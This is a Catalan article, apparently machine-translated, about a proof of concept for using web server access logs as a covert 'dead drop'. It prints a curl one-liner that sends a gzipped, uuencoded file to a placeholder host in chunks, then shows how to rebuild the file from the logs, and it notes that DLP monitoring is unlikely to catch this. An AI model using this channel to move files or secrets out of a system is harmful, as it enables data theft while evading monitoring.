Intercanvi de missatges secrets mitjançant registres del servidor

Segons la definició de la Viquipèdia, una gota morta és una eina de conspiració que serveix per intercanviar informació o alguns elements entre persones que utilitzen una ubicació secreta. La idea és que la gent no es trobi mai, però encara intercanvien informació per mantenir la seguretat operativa.

L'amagatall no ha de cridar l'atenció. Per tant, en el món offline solen utilitzar coses discretes: un maó solt a la paret, un llibre de la biblioteca o un buit en un arbre.

Hi ha moltes eines d'encriptació i anonimització a Internet, però el fet mateix d'utilitzar aquestes eines crida l'atenció. A més, es poden bloquejar a nivell corporatiu o governamental. Què fer?

El desenvolupador Ryan Flowers va proposar una opció interessant: utilitzar qualsevol servidor web com a amagatall. Si ho penses bé, què fa un servidor web? Rep sol·licituds, emet fitxers i escriu registres. I registra totes les sol·licituds, fins i tot incorrectes!

Resulta que qualsevol servidor web us permet desar gairebé qualsevol missatge al registre. Les flors es van preguntar com utilitzar això.

Ell ofereix aquesta opció:

  1. Agafeu un fitxer de text (missatge secret) i calculeu el hash (md5sum).
  2. El codifiquem (gzip+uuencode).
  3. Escrivim al registre mitjançant una sol·licitud deliberadament incorrecta al servidor.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Per llegir un fitxer, heu de realitzar aquestes operacions en ordre invers: descodificar i descomprimir el fitxer, comprovar el hash (el hash es pot transmetre de manera segura per canals oberts).

Els espais es substitueixen per =+=de manera que no hi hagi espais a l'adreça. El programa, que l'autor anomena CurlyTP, utilitza la codificació base64, com els fitxers adjunts de correu electrònic. La sol·licitud es fa amb una paraula clau ?transfer?de manera que el destinatari el pugui trobar fàcilment als registres.

Què veiem als registres en aquest cas?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Com ja s'ha esmentat, per rebre un missatge secret cal fer les operacions en ordre invers:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

El procés és fàcil d'automatitzar. Md5sum coincideix i el contingut del fitxer confirma que tot s'ha descodificat correctament.

El mètode és molt senzill. "L'objectiu d'aquest exercici és només demostrar que els fitxers es poden transferir mitjançant petites sol·licituds web innocents i funciona en qualsevol servidor web amb registres de text sense format. Essencialment, cada servidor web és un amagatall!”, escriu Flowers.

Per descomptat, el mètode només funciona si el destinatari té accés als registres del servidor. Però aquest accés el proporcionen, per exemple, molts hosters.

Com utilitzar-lo?

Ryan Flowers diu que no és un expert en seguretat de la informació i que no compilarà una llista dels possibles usos de CurlyTP. Per a ell, és només una prova de concepte que les eines familiars que veiem cada dia es poden utilitzar d'una manera poc convencional.

De fet, aquest mètode té una sèrie d'avantatges respecte a altres "amagats" de servidor com Dead Drop digital o PirateBox: no requereix una configuració especial al costat del servidor ni cap protocol especial, i no despertarà sospites entre els que controlen el trànsit. És poc probable que un sistema SORM o DLP escanegi els URL per trobar fitxers de text comprimits.

Aquesta és una de les maneres de transmetre missatges mitjançant fitxers de servei. Podeu recordar com solien col·locar algunes empreses avançades Treballs de desenvolupador en capçaleres HTTP o en el codi de pàgines HTML.

Intercanvi de missatges secrets mitjançant registres del servidor

La idea era que només els desenvolupadors web veurien aquest ou de Pasqua, ja que una persona normal no miraria les capçaleres ni el codi HTML.

Intercanvi de missatges secrets mitjançant registres del servidor

Font: www.habr.com

Afegeix comentari